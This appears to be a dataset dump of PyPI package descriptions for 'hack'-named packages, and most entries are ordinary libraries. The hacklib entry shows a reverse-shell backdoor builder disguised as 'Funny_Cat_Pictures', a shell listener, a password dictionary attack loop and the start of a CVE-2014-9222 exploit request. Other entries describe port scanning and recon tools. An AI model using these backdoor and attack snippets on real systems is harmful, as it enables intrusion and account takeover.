Saravanan666/pypi-org huggingface dataset:
Package: hackinfo
Library install hackinfo:sudopython3setup.pyinstallpip3installhackinfofromhackinfoimporthackinfohackinfo.nmap("www.google.com")[+]<--RunningNmap....[www.google.com]-->StartingNmap7.70(https://nmap.org)at2019-08-1517:12UTCNmapscanreportforwww.google.com(172.217.3.100)Hostisup(0.0023slatency).Otheraddressesforwww.google.com(notscanned):2607:f8b0:4006:801::2004rDNSrecordfor172.217.3.100:lga34s18-in-f4.1e100.netPORTSTATESERVICE21/tcpfilteredftp22/tcpfilteredssh23/tcpfilteredtelnet80/tcpopenhttp110/tcpfilteredpop3143/tcpfilteredimap443/tcpopenhttps3389/tcpfilteredms-wbt-serverNmapdone:1IPaddress(1hostup)scannedin1.25secondshackinfo.reverseiplookup("www.facebook.com")[+]<--RunningReverseiplookup....[www.facebook.com]-->edge-star-mini-shv-01-sjc3.facebook.comfacebook.comfbdogfoodbeta.commobileironbackup.compurpletiesupport.comstar-mini.c10r.facebook.com
Package: hackinteach-pytest-approxable
Pytest Approxable MixinExamplefrompytest_approxableimportApproxablefromdataclassesimportdataclassfrompytestimportapprox@dataclassclassMetalProperties(Approxable):name:strheat_capacity:floatconductivity:floatdeftest_metal_equal():mp1=MetalProperties(name='metal1',heat_capacity=0.5,conductivity=1.)mp2=MetalProperties(name='metal2',heat_capacity=0.499999999,conductivity=0.9999999998)assertapprox(mp1.approxable_dict,abs=0.1)==mp2.approxable_dictProblemWhen testing codes, we usually approximate floating numbers to avoid decimal points error. To do so, we usepytest.approxas followfrompytestimportapproxdeftest_approx():a=1.0000000000000001b=1.assertapprox(a,abs=0.1)==b# this will passasserta==b# this will failMoreover, we can also use this with the dictionary derived from a dataclass. For example,fromdataclassesimportdataclass,asdictfrompytestimportapprox@dataclassclassMetalProperties:heat_capacity:floatconductivity:floatdeftest_metal_equal():mp1=MetalProperties(heat_capacity=0.5,conductivity=1.)mp2=MetalProperties(heat_capacity=0.499999999,conductivity=0.9999999998)assertapprox(asdict(mp1),abs=0.1)==asdict(mp2)Now the problem arises when we have non-number fields in the class@dataclassclassMetalProperties:name:strheat_capacity:floatconductivity:floatdeftest_metal_equal():mp1=MetalProperties(name='metal1',heat_capacity=0.5,conductivity=1.)mp2=MetalProperties(name='metal2',heat_capacity=0.499999999,conductivity=0.9999999998)assertapprox(asdict(mp1),abs=0.1)==asdict(mp2)Above code will fails since attributenamecan't be approximated##Progresstestssupports nested object
Package: hacklib
hacklib is a Python module for hacking enthusiasts interested in network security. It is currently in active development.Current Features:Reverse shell backdooringUniversal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication loginsPort ScanningSocks4/5 proxy scraping and tunnelingGenerating a backdoor payload (Currently only for Macs):import hacklib
bd = hacklib.Backdoor()
# Generates an app that, when ran, drops a persistent reverse shell into the system.
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
# Takes the IP and port of the command server, the OS of the target, and the name of the .appShell listener (Use in conjunction with the backdoor):import hacklib
# Create instance of Server with the listening port
>>> s = hacklib.Server(9090)
>>> s.listen()
New connection ('127.0.0.1', 51101)
bash: no job control in this shell
bash$ whoami
leon
bash$
# Sweet!Simple Dictionary Attack example with hacklib.AuthClient:import hacklib
ac = hacklib.AuthClient()
# Get the top 100 most common passwords
passwords = hacklib.topPasswords(100)
for p in passwords:
    htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
    if 'welcome' in htmldata.lower():
        print 'Password is', p
        breakDiscovery and Exploitation of the Misfortune Cookie Exploit (CVE-2014-9222) with hacklib.PortScanner():>>> import hacklib

# Discovery
>>> ps = hacklib.PortScanner()
>>> ps.scan('192.168.1.1', (80, 81))
Port 80:
HTTP/1.1 404 Not Found
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
EXT:
# The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.

# Exploitation
>>> payload = '''GET /HTTP/1.1
Host: 192.168.1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB
Package: hackmd-sdk-python
HackMD Python SDKIt is a Type-safe Python SDK that can let your HackMD development fastly.Usagepipinstallhackmd-sdk-python# orpythonsetup.pyinstallGet Me examplefromhackmd.clientimportHackmdhack=Hackmd(token="YOUR_TOKEN")me=hack.get_me()print(me.teams[0].name)# Your team nameprint(me.name)# Your HackMD nameCreate Note examplefromhackmd.clientimportHackmdfromhackmd.typing.notesimportNoteCreatehack=Hackmd(token="YOUR_TOKEN")note=NoteCreate(**{'title':'New Post','content':'I am Content','read_permission':'owner','write_permission':'owner','comment_permission':'everyone',})result=hack.create_note(body=note)print(result)MethodsAuthentication: X-HackMD-API-Version: 1.0.0Userget_me()return: Me()User Noteget_notes()return: List[Notes]get_note(note_id=note_id)return: Note()create_note(body=NoteCreate())return: Note()update_note(note_id=note_id, body=NoteUpdate())return: Note()delete_note(note_id=note_id)return: ''get_read_notes_history()return: List[Notes]Developmentgitclonecdhackmd-sdk-python/
pythom-mpytesttests/LicenseMIT
Package: hack-mentor
Hack MentorQuickstartpipinstallhack_mentorexportOPENAI_API_KEY="your-key-here"DescriptionThis project ues GPT-4 to actively watch you code in your terminal, providing real-time feedback and suggestions.There are two key modes in Hack Mentor:Bug Mode: Here, Hack Mentor will look for bugs and give concise suggestions for how to fix.Architect Mode: In this mode, Hack Mentor takes a more holistic view, helping you design your code structure and suggesting architectural changes.InstallationBefore starting, ensure you have Python 3.6 or above installed on your system.Set up a virtual environment. This helps to avoid any conflicts with other installed Python packages.python3-mvenvhack_mentor_envActivate the virtual environment.On Linux or MacOS:sourcehack_mentor_env/bin/activateOn Windows:.\hack_mentor_env\Scripts\activateInstall Hack Mentor via pip.pipinstallhack_mentorSet up your OpenAI API keychange the name of.env.exampleto.envgo tohttps://platform.openai.comto get thatUsageOnce you have Hack Mentor installed, you can use it in the following ways:To use Mentor mode with a single file, use:hack_mentormentorApp.js~/george/my_cool_app/index.jsTo use Architect mode with multiple files, use:hack_mentorarchitectApp.jscomponent.jsreducer.js~/george/my_cool_app/index.jsIn both cases, replaceApp.js,component.jsandreducer.jswith the actual paths to your JavaScript files.Hack Mentor is currently optimized for JavaScript, but we're actively working on supporting more languages. Stay tuned!ContributingWe welcome contributions! Please see ourCONTRIBUTING.mdfor more information.LicenseThis project is licensed under the MIT License. See theLICENSE.mdfile for details.
Package: hack-mentor-gpickett00
Hack MentorQuickstartpipinstallhack_mentorDescriptionThis project ues GPT-4 to actively watch you code in your terminal, providing real-time feedback and suggestions.There are two key modes in Hack Mentor:Bug Mode: Here, Hack Mentor will look for bugs and give concise suggestions for how to fix.Architect Mode: In this mode, Hack Mentor takes a more holistic view, helping you design your code structure and suggesting architectural changes.InstallationBefore starting, ensure you have Python 3.6 or above installed on your system.Set up a virtual environment. This helps to avoid any conflicts with other installed Python packages.python3-mvenvhack_mentor_envActivate the virtual environment.On Linux or MacOS:sourcehack_mentor_env/bin/activateOn Windows:.\hack_mentor_env\Scripts\activateInstall Hack Mentor via pip.pipinstallhack_mentorSet up your OpenAI API keychange the name of.env.exampleto.envgo tohttps://platform.openai.comto get thatUsageOnce you have Hack Mentor installed, you can use it in the following ways:To use Mentor mode with a single file, use:hack_mentormentorApp.js~/george/my_cool_app/index.jsTo use Architect mode with multiple files, use:hack_mentorarchitectApp.jscomponent.jsreducer.js~/george/my_cool_app/index.jsIn both cases, replaceApp.js,component.jsandreducer.jswith the actual paths to your JavaScript files.Hack Mentor is currently optimized for JavaScript, but we're actively working on supporting more languages. Stay tuned!ContributingWe welcome contributions! Please see ourCONTRIBUTING.mdfor more information.LicenseThis project is licensed under the MIT License. See theLICENSE.mdfile for details.
Package: hackmud-chat
hackmud_chat (Unofficial)-------------------------###### InstallationJust `pip install hackmud_chat`Learn by example:``` python>>> from hackmud_chat import Account# 'Login' to the hackmud chat API>>> account = Account(token='yourtokenhere')# Don't have a token? No panic...# Get into your hackmud client and enter the command chat_pass>>> account = Account(passwd='thegivenpass')# Account's properties:>>> account.users>>> account.token# Get the user you want to interact with>>> user1 = account.get_user('user1')# User's properties:>>> user1.messages>>> user1.channels# Deeper, inside channels:>>> user1.channels[0].users # The list of channel's members# Access user's messages (sorted by time [latest == earliest])>>> last = user1.messages[-1]# Message object:>>> last.id>>> last.time>>> last.from_user>>> last.text>>> last.to_user  # Optional>>> last.channel  # Optional>>> last.is_join  # Optional>>> last.is_leave # Optional# Update messages:>>> user1.update_history() # Updates user1.messages# User's actions:>>> user1.tell('user2', 'Hello')                   # Send a private message to user2>>> user1.say('0000', 'H1 3vry0ne!')               # Send a message to channel 0000>>> user1.sayTo('0000', 'user2', "You're a noob!") # Send a message to chan 0000 formated like:# @user2: You're a noob!```See some examples in [examples/](./examples/)Documentation is coming...
Package: hackoregon-sandbox
hackoregon_sandbox2019 Sandbox backend APIDocumentationThe full documentation is at <http://hackoregon.github.io/>2019-sandbox-backendFeaturesTODO (add what your project does)Data SourcesQuickstart to install package in your own Django Project (Non-HackOregon Workflow)Install hackoregon_sandbox:pip install hackoregon_sandboxAdd subpackages to yourINSTALLED_APPS:`` ` python INSTALLED_APPS = (     ...     'api',     ... ) ```Add hackoregon_sandbox's URL patterns:`` ` python from hackoregon_sandbox.api import urls as api_urls   urlpatterns = [     ...     url(r'^', include(api_urls)),     ... ] ```Setup your database with a matching schemaRun the projectRunning TestsThis repo uses pytest and pytest-django to run tests.For project development work, tests will be run in docker container
using the bin/test.sh script:CreditsTools used in rendering this package:Cookiecuttercookiecutter-djangopackageCHANGELOG0.1.0 (2019-05-29)
++++++++++++++++++First release on PyPI.
Package: hackr
An All-in-one library, safe for hackathon consumption.You can perform every task using a single library.Featureshackr currently supports the following features:Generate random namesGenerate random addressGenerate random datesGenerate random digitsGenerate random charactersGenerate QRCodeScrape any webpageSend web requests (GET, POST, PUT)Parse data in JSONSend Emailshackr officially supports Python 2.7 currently.UsageGenerate Random names>>> import hackr
>>> a = hackr.generator.names(5)
>>> print a
[u'Mr. Thomas Wolf MD', u'Valerie Turner', u'Maria Knight', u'Raymond Shelton', u'Erica Glenn']Generate Random dates>>> import hackr
>>> a= hackr.generator.dates(5,1995,2017)
>>> print a
['1998-08-17 00:00:00', '2007-03-25 00:00:00', '2003-01-27 00:00:00', '2014-10-13 00:00:00', '1995-02-10 00:00:00']Generate Random json data>>> import hackr
>>> a = hackr.object_generator.generate_json(4, name='names', address='address')
>>> print a
'[{"name": "Jeffery Russell", "address": "USNV Bradley\\nFPO AA 49483-3369"}, {"name": "Caitlin Wong", "address": "4622 Richard Summit Apt. 325\\nHollow
aystad, OH 88464"}, {"name": "Adrian Pugh", "address": "977 Hill Meadows Suite 944\\nVictoriaton, PR 58653-2191"}, {"name": "Christopher Schaefer", "add
ress": "62215 Charles Cape Apt. 039\\nHaleymouth, ND 82518-8938"}]'Generate QRCode>>> import hackr
>>> # default save to current path
>>> img = hackr.image.qrcode("https://github.com/pytorn/hackr")
>>> # or manually assign dest path
>>> img = hackr.image.qrcode("https://github.com/pytorn/hackr", dest_path="/tmp/hackr_qrcode.png")Scrape a webpage>>> import hackr
>>>#To get the response as JSON(if the url returns a JSON response, otherwise an exception is returned)
>>> json_response = hackr.web.scrape("https://api.github.com/users/ashwini0529", type="json")
>>>#To get the response as XML
>>> xml_response = hackr.web.scrape("https://api.github.com/users/ashwini0529", type="xml")Make Web Requests>>> import hackr
>>> #If you want the response as a string
>>> a= hackr.web.request("http://httpbin.org/post", method="post", params={'a':'b'})
>>> If you want the response as JSON
>>> a= hackr.web.request("http://httpbin.org/post", method="post", params={'a':'b'}, type="JSON")Send Emails>>> import hackr
>>> #Enter your GMAIL email address and password in the parameters email, and password.
>>> hackr.actions.email("Hey there", email="foo@bar.com", password="foobar", to="bar@foo.com", subject="Foo Bar")Contribution GuidelinesFork the repositoryFind an issue or create oneCreate a branch(we prefer to name it patch)Inform everyone that you’re working on the issueSend a pull request with proper explanation of what you didWait for getting it reviewed.We’d be glad to merge your PRMade with ♥ by:PyTorn|Ashwini Purohit
Package: hackrecon
Table of ContentsHackReconRequirementInstallationOptionsUsageExampleIssues managementHackReconProject URL :https://github.com/EmilienPer/HackReconHackRecon was created to be used for OSCP certification.
This tool (inspired by the "reconnoitre" tool:https://github.com/codingo/Reconnoitre) makes it possible to scan hosts finally to obtain a maximum of information on these. It is therefore a recognition tool.
Its mechanism can be summarized as follows:For each host:Create the exploit, proof and scan folders required for OSCP certificationDetermine open ports and related servicesFor each port:List exploits related to the product using the portStart scans according to the protocolSuggest additional scans asking for human intervention or other exploitsWrite an analysis report (HTML and XML format)RequirementHackRecon run on Python 2.7 can't work correctly without the following toolsNmapsmtp-user-enumwhatwebniktodirbInstallationsudo pip install hackreconOptionsShortcutoptionRequiredDefaultDescriptionXThe Ip(s) address of the host-o--output.The output directory-t--max_threads5The maximum number of host handled in the same time--cacheFalseUse cache-a--allFalseScan all ports--cssThe CSS file to use into the HTML report--javascript_headerThe javascript file to use into the header of the HTML report--javascript_tailThe javascript file to use into  the end of the HTML report--fullUse all nmap nse scrip for the protocol. The value can be "all" or a list of protocol separated by ";"UsageThe  param can beAn IPv4 address (example: 192.168.0.1)An range of IPv4 addresses (example: 192.168.0.0/24 or 192.168.0.1-254)A list of IPv4 address separated by ";" (example: 192.168.0.1;198.162.0.2)Example:hackrecon 192.168.0.1 -o /root/,hackrecon 192.168.0.0/24 -o /root/hackrecon 192.168.0.1-254 -o /root/hackrecon 192.168.0.1;198.162.0.2 -o /root/hackrecon 192.168.0.1 -o /root/ -t 5 --cache --allhackrecon 192.168.0.1 -o /root/ --javascript_header javascript_file.js --javascript_tail other_file.js --css shett.csshackrecon 192.168.0.1 -o /root/ -t 5 --cache --all --full allhackrecon 192.168.0.1 -o /root/ -t 5 --cache --all  --full http;ssh;smbExampleExample of usage can be found in the "examples" directoryIssues managementFor contributions or suggestions, pleaseopen an Issueand clearly explain, using an example or a use case if appropriate.
Package: hacktoberfest-issue-label
Hacktoberfest LabelAdd Hacktoberfest to Github issuesBy default, this script will add the issue labelHacktoberfestto any issue with the labelgood first issueonhttps://github.com/conan-io/conan.
However, you can customize the repository and issue label by arguments.Usageusage: hacktoberfest.py [-h] [--token TOKEN] [--repository REPOSITORY] [--issue ISSUE] [--label LABEL]

Apply Hacktoberfest label to Github issues.

optional arguments:
  -h, --help            show this help message and exit
  --token TOKEN         Github API Token
  --repository REPOSITORY
                        Github organization/repository name
  --issue ISSUE, -i ISSUE
                        Update only one Github issue
  --label LABEL, -l LABEL
                        Update ALL issues based on label nameAuthenticationThe script consumes the developertokensfor authentication.
It can be passed by the argument--token, or by the environment variableGITHUB_OAUTH_TOKEN.ExamplesAddHacktoberfestissue label tohttps://github.com/conan-io/conan, to all issues withgood first issue(Default behavior)python hacktoberfest.pyAddHacktoberfestissue label tohttps://github.com/foo/barissue #5python hacktoberfest.py --repository=foo/bar --issue=5Add 'Hacktoberfest' issue label to issue label to all issues withbugpython hacktoberfest.py --label=bugLICENSEMIT
Package: hacktools
hacktoolsA set of utilities and tools for rom hacking and translations.Installing dependenciesMost dependencies are optional, and can be installed withpip install 'hacktools[name1,name2]'orpip install 'hacktools[all]'to install all of them.Dependencies listnds: needed for NDS roms and compressed binaries.psp: needed for PSP ISO/BIN signing.iso: needed for PSX/PS2 ISO.graphics: needed for most functions that deal with graphics.cli: needed by tools that use CLI/GUI.armips: needed forcommon.armipsPatch.xdelta: needed forcommon.xdeltaPatch.ips: needed forcommon.ipsPatch.Supported platforms and formatsExternal dependencies not included are marked as(through *dependency*)NDSROMNCGR/NSCR/NCER/NCLR imagesNBFC/NTFT/NBFS/NBFP imagesNFTR fontsNARC archivesTextures in NSBMD 3D filesPSPISOGIM/GMO imagesPGF fontsPMF header for MPS moviesBIN signingPSXBIN/ISOTIM imagesWonderSwan / WonderSwan ColorROM banksAssembly (throughNASM)Raw and tiled imagesSpritesGameBoyROM banksAssembly (throughwla-gb and wlalink)WiiISO (throughwit)TPL imagesARC archives (throughwszst)BRFNT fonts (throughbrfnt2tplandwimgt)Other / GenericCPK archivesARCH archivesLZ10, LZ11, Huffman and CRILAYLA compression/decompressionARM/MIPS binary patchingxdelta patch creationIPS patch creation
Package: hacktronian
Installation$ pip install hacktronianFeatureshacktronian, ** Tools for Pentesting  **How to install ?$ pkg install python -y
$ pip install hacktronian
$ hacktronianDisclaimerWe are not responsible for your loss.
this tool is made for Education/Learning Purpose.
Dont harm anyone using this tool.Usage$ hacktronian

Author : thehackingsage
PIP module Created by Parixit Sutariya
Github : github.com/Bhai4You
Blogspot : https://bhai4you.blogspot.comGithub
Package: hackwork-gayson
https://github.com/serioeseGmbH/hackwork-gaysonhackwork_gayson is a library to help with persisting data to and reading data from the database (i.e. a JSONField)
by defining JSON conversion for additional Python types.It’s our lovely gay son.Quick startInstall the package with pip:pip install hackwork-gaysonImportgayson.Convert. It provides class methodsvalue_to_jsonandjson_to_value.Convert away.Optionally, derive your own subclasses of Converter to add to the conversion capabilities.
Keep in mind that the conversion will only be available when your additional subclasses are imported.
Package: hackytools
hackytoolsHacky Tools, by Hackysack (I'll never get tired of that joke.)InstallationYou can install this package via the command:pip install hackytoolsWhat do I get?So far, not much. But I promise that I'm working hard at gathering a bunch of my homemade tools.For right now, you get a couple of different hacky decorators, a spritesheet/stylesheet generator (mainly for subreddit CSS), and a command line tool (currently, only a single command).Decorators@elapsed/@bestofTwo decorators made for quickly timing a function.@elapsedonly times the function once, and@bestofdefaults to best of 7, but you can specify any number. Here's an example of how to use them.from hackytools import elapsed, bestof
import time

@elapsed
def fun1():
    time.sleep(.5)
    return

@bestof
def fun2():
    time.sleep(.25)
    return

fun1()
fun2()

# Output
# 'fun1' elapsed: 500.53 ms
# 'fun2' elapsed (best of 7): avg: 250.35 ms | best: 250.28 ms | worst: 250.63 msThe timing decorator also automatically converts the time returned into a sensible unit, for optimal viewing pleasure.Command Line CommandswhatsmyipUse this at the command line to get yourpublicIP address. This is just a convenience command due to me getting tired of having to specifically search "whats my ip ipv4" on Google. If I'm going to dosomeof the legwork, I may as well make it easy on myself. You can also get yourlocalIP. Simply use it like:(Example of bash prompt)$ whatsmyip
$ 123.45.67.89

$ whatsmyip local
$ 192.168.0.69(Example of cmd prompt)C:\Users\user\Desktop>whatsmyip
$ 123.45.67.89

C:\Users\user\Desktop>whatsmyip local
$ 192.168.0.69Spritesheet/stylesheet Generation Toolspriteit(Detailed how-to coming soon. Sorry.)Misc.You also get a variety of functions to aid you in your hacky coding adventure. (Detailed documentation coming soon. Sorry!)MoreI have more planned. I have a changelog planned, so I don't clutter the README. I have docs planned, to also avoid cluttering the README. Some of these may already be in effect. I don't know, I'm not God. Jeez. (The changelog is in effect, though.)
Package: hacs
Identity and Access Management System (IAMS)Need to coverAudit LogAudit TrialExamplesThis add-on can be seen in action at the following sites:
- Is there a page on the internet where everybody can see the features?DocumentationFull documentation for end users can be found in the “docs” folder, and is also available online athttp://docs.plone.org/foo/barTranslationsThis product has been translated intoKlingon (thanks, K’Plai)InstallationInstall django.contrib.hacs by adding it to your buildout:[buildout]

...

eggs =
    django.contrib.hacsand then runningbin/buildoutContributeIssue Tracker:https://github.com/collective/django.contrib.hacs/issuesSource Code:https://github.com/collective/django.contrib.hacsDocumentation:https://docs.plone.org/foo/barSupportIf you are having issues, please let us know.
We have a mailing list located at:project@example.comLicenseThe project is licensed under the GPLv2.ContributorsMd Nazrul Islam,email2nazrul@gmail.comChangelog1.0a1 (unreleased)Initial release.
[nazrulworld]